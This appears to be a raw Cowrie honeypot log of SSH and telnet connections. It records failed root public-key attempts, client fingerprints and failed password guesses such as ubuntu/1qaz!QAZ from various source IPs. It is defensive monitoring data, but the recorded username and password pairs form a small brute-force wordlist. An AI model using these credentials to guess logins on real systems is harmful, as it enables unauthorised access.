{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:ee:c2:fb:21:d8:cf:83:65:2c:96:39:a3:74:44:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsyU1oXoeSHOANt1Qks1MFnzDfV4rGYgVzdM8cGex9i+pylNjb+fuDlYhXFZhDG+4Y1yHHaq+U93EdMy+7wZRpIbl6D7DR6fzjHeLay5gFMtloA34OH+d2evIAYTHdJJhbAz3M/MnYHLfWNglIxQyBI+C3gOk58p4XuNUui4Lw9EXVCLKCXQHWmAi0Zpmuy+cmsvZANotEZKnqEPSnvfoA7wVk5cbvGhlU9y3buNJ4ACuPuDhMwT14lig7kewZSl93e1mkhlxo+SJlyQyUBTwzZvCQjos3fC/rUoo1BGJBUNznrUGlsh9RaGT/eIgQ2yKHQkye4vSAu8AdJrQoPhABw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:38:41.980519Z","src_ip":"45.148.146.52","session":"04adf99da57a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:a7:64:0c:1a:e0:9a:be:68:89:04:22:ee:3b:5b:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmFI9OYCt6Fc4ujOcZXZp6i5WKZNpI/Wa1AnsGq4/vhdVJ9zsaLABM4oo2Qw5hDO7/NoV/NbpIJ43mLOrnqQSC3qVeiGJUmOz51aoaxerG+PZK8+ZdnUboA82c7RVxpYqFPOyMP/HFVprBXFys0fVsHBcOdILnd0WkWphuoQG5TjMymSBWrBldMWqGT4MIXaDzqQOKqUEOS/4YcWNmFvm/g4JhHBFld64s+FbEGTvoy4/OAxyaUMNGn9Lqb6Qza5sSlTSrD2Eu467o2LvvpG8p/J/E2DdDaeeiF6f3lnDD54eidwHvMoYbjnnBKMLYPc21LICqIREfwA214c5JrrQt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:a7:64:0c:1a:e0:9a:be:68:89:04:22:ee:3b:5b:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:38:42.072242Z","src_ip":"45.148.146.52","session":"04adf99da57a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:a7:64:0c:1a:e0:9a:be:68:89:04:22:ee:3b:5b:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmFI9OYCt6Fc4ujOcZXZp6i5WKZNpI/Wa1AnsGq4/vhdVJ9zsaLABM4oo2Qw5hDO7/NoV/NbpIJ43mLOrnqQSC3qVeiGJUmOz51aoaxerG+PZK8+ZdnUboA82c7RVxpYqFPOyMP/HFVprBXFys0fVsHBcOdILnd0WkWphuoQG5TjMymSBWrBldMWqGT4MIXaDzqQOKqUEOS/4YcWNmFvm/g4JhHBFld64s+FbEGTvoy4/OAxyaUMNGn9Lqb6Qza5sSlTSrD2Eu467o2LvvpG8p/J/E2DdDaeeiF6f3lnDD54eidwHvMoYbjnnBKMLYPc21LICqIREfwA214c5JrrQt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:38:42.076641Z","src_ip":"45.148.146.52","session":"04adf99da57a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:97:22:87:07:8d:9c:d3:69:38:40:b0:97:38:bf:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu88qANCCZ+bMS434syqefKqvNsu4spxkP1KAHGNg4a2DYR+BskXD9kRyoXqcj+ljQhdamqWOrCTn5bialEWY52rWkmReQ6dvKUkTLefbeJ/JT+WQvK06aXcboo3EhvIRZvclOzEvgZUq6sVjCfhadrhZZxBYJ+S4ka3ZOxDkKgbnqeWNIM8ZBXIR8UXK2e5lbUZpGwIQbvWvhwJYM0IJjOAl57D4Xr0I7GxAakJiVG0yvYpa98Td1ZqUsmq0rggHpSqnnLRjuQUkEY22FiCtQdrbJIl4BbQSY7E1a32o/EbOoNRco5soX9f18VzdxM+r0PH+Y27pDbLTFFKlC3MTyQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:97:22:87:07:8d:9c:d3:69:38:40:b0:97:38:bf:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:38:42.164871Z","src_ip":"45.148.146.52","session":"04adf99da57a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:97:22:87:07:8d:9c:d3:69:38:40:b0:97:38:bf:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu88qANCCZ+bMS434syqefKqvNsu4spxkP1KAHGNg4a2DYR+BskXD9kRyoXqcj+ljQhdamqWOrCTn5bialEWY52rWkmReQ6dvKUkTLefbeJ/JT+WQvK06aXcboo3EhvIRZvclOzEvgZUq6sVjCfhadrhZZxBYJ+S4ka3ZOxDkKgbnqeWNIM8ZBXIR8UXK2e5lbUZpGwIQbvWvhwJYM0IJjOAl57D4Xr0I7GxAakJiVG0yvYpa98Td1ZqUsmq0rggHpSqnnLRjuQUkEY22FiCtQdrbJIl4BbQSY7E1a32o/EbOoNRco5soX9f18VzdxM+r0PH+Y27pDbLTFFKlC3MTyQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:38:42.169058Z","src_ip":"45.148.146.52","session":"04adf99da57a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"96:70:41:ff:a9:2c:23:67:df:d5:dd:78:07:00:62:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAye4pE1/IPIxHqsDvs/2MBM4k7pUrvz85F+Xyl8jGdbjhgGNDADjYtUMtiKYu1nyNw7Aj82iAuddULGb1R/CHHE52gNQ2CJJ6iFdooSNvSnojx0ni+nL5cSxZ3IFv+/sdx1+sc4UtXXSeb1k/kt1BJhwdrUN9dpiasANSlOfMySTnd/vCYCwsBdObmebxR3bCmHOUN+6AXAVrSZJE8jyBLPtSolsHcZPcnvgVNuFyPd80yhZVW1MQ/3flCn+XWWLVN/JvbTpPp3LnnoQj7iuAQaXLrNksoaXb/OvVECEll/loRGuCf7DOKa475cJMDUYRMjS6TVFhAUjHl2XevON0aw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 96:70:41:ff:a9:2c:23:67:df:d5:dd:78:07:00:62:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:38:42.256752Z","src_ip":"45.148.146.52","session":"04adf99da57a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"96:70:41:ff:a9:2c:23:67:df:d5:dd:78:07:00:62:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAye4pE1/IPIxHqsDvs/2MBM4k7pUrvz85F+Xyl8jGdbjhgGNDADjYtUMtiKYu1nyNw7Aj82iAuddULGb1R/CHHE52gNQ2CJJ6iFdooSNvSnojx0ni+nL5cSxZ3IFv+/sdx1+sc4UtXXSeb1k/kt1BJhwdrUN9dpiasANSlOfMySTnd/vCYCwsBdObmebxR3bCmHOUN+6AXAVrSZJE8jyBLPtSolsHcZPcnvgVNuFyPd80yhZVW1MQ/3flCn+XWWLVN/JvbTpPp3LnnoQj7iuAQaXLrNksoaXb/OvVECEll/loRGuCf7DOKa475cJMDUYRMjS6TVFhAUjHl2XevON0aw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:38:42.261308Z","src_ip":"45.148.146.52","session":"04adf99da57a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:38:42.348945Z","src_ip":"45.148.146.52","session":"04adf99da57a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.183.192","src_port":39818,"dst_ip":"10.17.0.5","dst_port":23,"session":"73fdf9282547","protocol":"telnet","message":"New connection: 103.153.183.192:39818 (10.17.0.5:23) [session: 73fdf9282547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:39:06.853360Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":47290,"dst_ip":"10.17.0.5","dst_port":22,"session":"e724c199fbf5","protocol":"ssh","message":"New connection: 103.15.226.202:47290 (10.17.0.5:22) [session: e724c199fbf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:39:09.527130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:39:09.531710Z","src_ip":"103.15.226.202","session":"e724c199fbf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:39:09.774449Z","src_ip":"103.15.226.202","session":"e724c199fbf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"data@123","message":"login attempt [ubuntu/data@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:39:10.504939Z","src_ip":"103.15.226.202","session":"e724c199fbf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:39:11.750776Z","src_ip":"103.15.226.202","session":"e724c199fbf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":50124,"dst_ip":"159.203.135.109","dst_port":22,"session":"9447a4e77c28","protocol":"ssh","message":"New connection: 2.57.122.208:50124 (159.203.135.109:22) [session: 9447a4e77c28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:40:00.632413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:40:00.721053Z","src_ip":"2.57.122.208","session":"9447a4e77c28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:40:00.923151Z","src_ip":"2.57.122.208","session":"9447a4e77c28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4$RFV","message":"login attempt [ubuntu/4$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:40:01.624132Z","src_ip":"2.57.122.208","session":"9447a4e77c28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:40:02.823986Z","src_ip":"2.57.122.208","session":"9447a4e77c28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.16","src_port":56194,"dst_ip":"159.203.135.109","dst_port":22,"session":"333a8123a935","protocol":"ssh","message":"New connection: 31.57.216.16:56194 (159.203.135.109:22) [session: 333a8123a935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:40:58.526636Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:40:58.530169Z","src_ip":"31.57.216.16","session":"333a8123a935","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.16","src_port":56196,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0f484326566","protocol":"ssh","message":"New connection: 31.57.216.16:56196 (159.203.135.109:22) [session: e0f484326566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:40:58.727524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:40:58.732622Z","src_ip":"31.57.216.16","session":"e0f484326566","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:40:58.835705Z","src_ip":"31.57.216.16","session":"e0f484326566","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"x","message":"login attempt [user/x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:40:59.047507Z","src_ip":"31.57.216.16","session":"e0f484326566","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:41:00.179145Z","src_ip":"31.57.216.16","session":"e0f484326566","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.223.80","src_port":50298,"dst_ip":"10.17.0.5","dst_port":22,"session":"c82ca8e39a30","protocol":"ssh","message":"New connection: 57.128.223.80:50298 (10.17.0.5:22) [session: c82ca8e39a30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:41:04.889571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:41:04.905424Z","src_ip":"57.128.223.80","session":"c82ca8e39a30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:41:05.007052Z","src_ip":"57.128.223.80","session":"c82ca8e39a30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz!QAZ","message":"login attempt [ubuntu/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:41:05.453789Z","src_ip":"57.128.223.80","session":"c82ca8e39a30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:41:06.567939Z","src_ip":"57.128.223.80","session":"c82ca8e39a30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00108504295349,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:41:06.854312Z","src_ip":"103.153.183.192","session":"73fdf9282547","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.194.177.117","src_port":1699,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6a0fa6181e5","protocol":"telnet","message":"New connection: 168.194.177.117:1699 (10.17.0.5:23) [session: d6a0fa6181e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:41:19.810266Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":59550,"dst_ip":"10.17.0.5","dst_port":23,"session":"c878d6a36b60","protocol":"telnet","message":"New connection: 212.55.149.117:59550 (10.17.0.5:23) [session: c878d6a36b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:41:31.178289Z"}
{"eventid":"cowrie.session.closed","duration":12.769660472869873,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:41:32.579808Z","src_ip":"168.194.177.117","session":"d6a0fa6181e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.92.193.123","src_port":36070,"dst_ip":"10.17.0.5","dst_port":23,"session":"370621416660","protocol":"telnet","message":"New connection: 208.92.193.123:36070 (10.17.0.5:23) [session: 370621416660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:41:53.763469Z"}
{"eventid":"cowrie.session.closed","duration":30.77497935295105,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:42:24.538331Z","src_ip":"208.92.193.123","session":"370621416660","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.772581577301025,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:42:32.950772Z","src_ip":"212.55.149.117","session":"c878d6a36b60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":45062,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb7ab686669a","protocol":"ssh","message":"New connection: 2.57.122.208:45062 (159.203.135.109:22) [session: bb7ab686669a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:42:40.833659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:42:40.923812Z","src_ip":"2.57.122.208","session":"bb7ab686669a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:42:41.028670Z","src_ip":"2.57.122.208","session":"bb7ab686669a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:42:41.545654Z","src_ip":"2.57.122.208","session":"bb7ab686669a","protocol":"ssh"}
